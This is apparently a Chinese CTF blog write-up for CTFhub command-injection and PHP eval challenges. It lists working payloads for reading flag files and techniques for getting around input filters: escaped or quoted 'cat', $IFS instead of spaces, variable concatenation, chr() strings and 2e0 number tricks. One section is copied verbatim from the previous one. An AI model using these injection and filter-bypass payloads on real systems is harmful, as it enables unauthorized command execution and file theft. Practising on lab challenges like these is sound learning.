CTFhub(eval执行,无过滤,过滤cat,过滤空格,过滤运算符)

Eval执行:

根据题意,命令赋予给cmd然后执行,输入/?cmd=system(“ls”);,查看根目录

未发现什么,返回上一级目录

?cmd=system("ls");

Flag在flag_3769中,输入/?cmd=system(cat/flag_3769);

得到ctfhub{b3f189201eb75140e8442b21}

无过滤

无过滤用分号来连接命令,ls,这是在liux环境下,只要根据是否对大小写有要求

用cat命令读取index.php,得到一串数字.php,访问一下然后查看源代码

过滤cat

输入172.0.0.1&ls,

得到flag_        .php

过滤cat,所以输入172.0.0.1&ca\t flag_      .php,查看源代码即可

反斜杠 : 例如  ca\t fl\ag.php

连接符: 例如   ca''t fla''g.txt

还可以用

用less或more命令试试

查看源代码就可以得到flag

当cat被过滤后,可以使用其他命令进行读取文件的内容

(1)more:一页一页的显示的显示档案内容

(2)less:与more类似,但是比more更好的是,他可以[pg dn][pg up]翻页

(3)head:查看头几行

(4)tac:从最后一行开始显示,可以看出tac是cat的反向显示

(5)tail:查看尾几行

(6)nl:显示的时候,顺便输出行号

(7)od:以二进制的方式读取档案内容

(8)vi:一种编辑器,这个也可以查看

(9)vim:一种编辑器,这个也可以查看

(10)sort:可以查看

(11)uniq:可以查看

(12)file -f:报错出具体的内容

过滤空格

在 bash 下, 可以用以下字符代替空格:

 <,<>,%20(space),%09(tab),$IFS$9, ${IFS},$IFS  

输入172.0.0.1&ls得到

过滤空格,则用<代替,172.0.0.1&cat<flag_       .php,即可

过滤目录分隔符

直接输入172.0.0.1&ls,未得到,可看到flag在该目录下,但是题目过滤了/,根据前面的题目可以知道,在flag中,就包含有/,所以如果直接读取flag的内容,会被替换成$m = [];

用\ 代替/,172.0.0.1;ls \flag_is_here

输入172.0.0.1&cd flag_is_here;cat flag_        .php

过滤运算符

直接输入172.0.0.1&ls,未得到,可看到flag在该目录下,但是题目过滤了/,根据前面的题目可以知道,在flag中,就包含有/,所以如果直接读取flag的内容,会被替换成$m = [];

用\ 代替/,172.0.0.1;ls \flag_is_here

输入172.0.0.1&cd flag_is_here;cat flag_        .php

知识点

管道符: ; 实现字符串拼接

Linux下才能使用,

例如://(preg_match("/.*f.*l.*a.*g.*/", $ip)
实现:构造/?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php即可获取flag 注:此处将变量ab的位置互换是为了绕过字符串匹配
//;可执行多条命令,$a$b会自动字符拼接

chr()函数绕过(scandir() 获取指定目录下的文件)

原理:特殊字符也被过滤了,尝试使用chr()函数将ASCII值转换为字符串进行拼接

例如:/calc.php?%20num=var_dump(scandir(chr(46).chr(47)))

scandir()  获取指定目录下的文件,返回数组
数组需要var_dump()或者print_r()函数进行打印
chr()将ascii值转换为字符串
ord()将字符转换成对应的ASCII编码值

科学技术法绕过

if($this->op == "2")
例如:2a不能绕过,因为这里"2"是字符串,不是数字,所以2a也不会变为数字2
,改成2e0,即使是字符串,也会自己变为数字2,成功绕过

 

  • 24
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值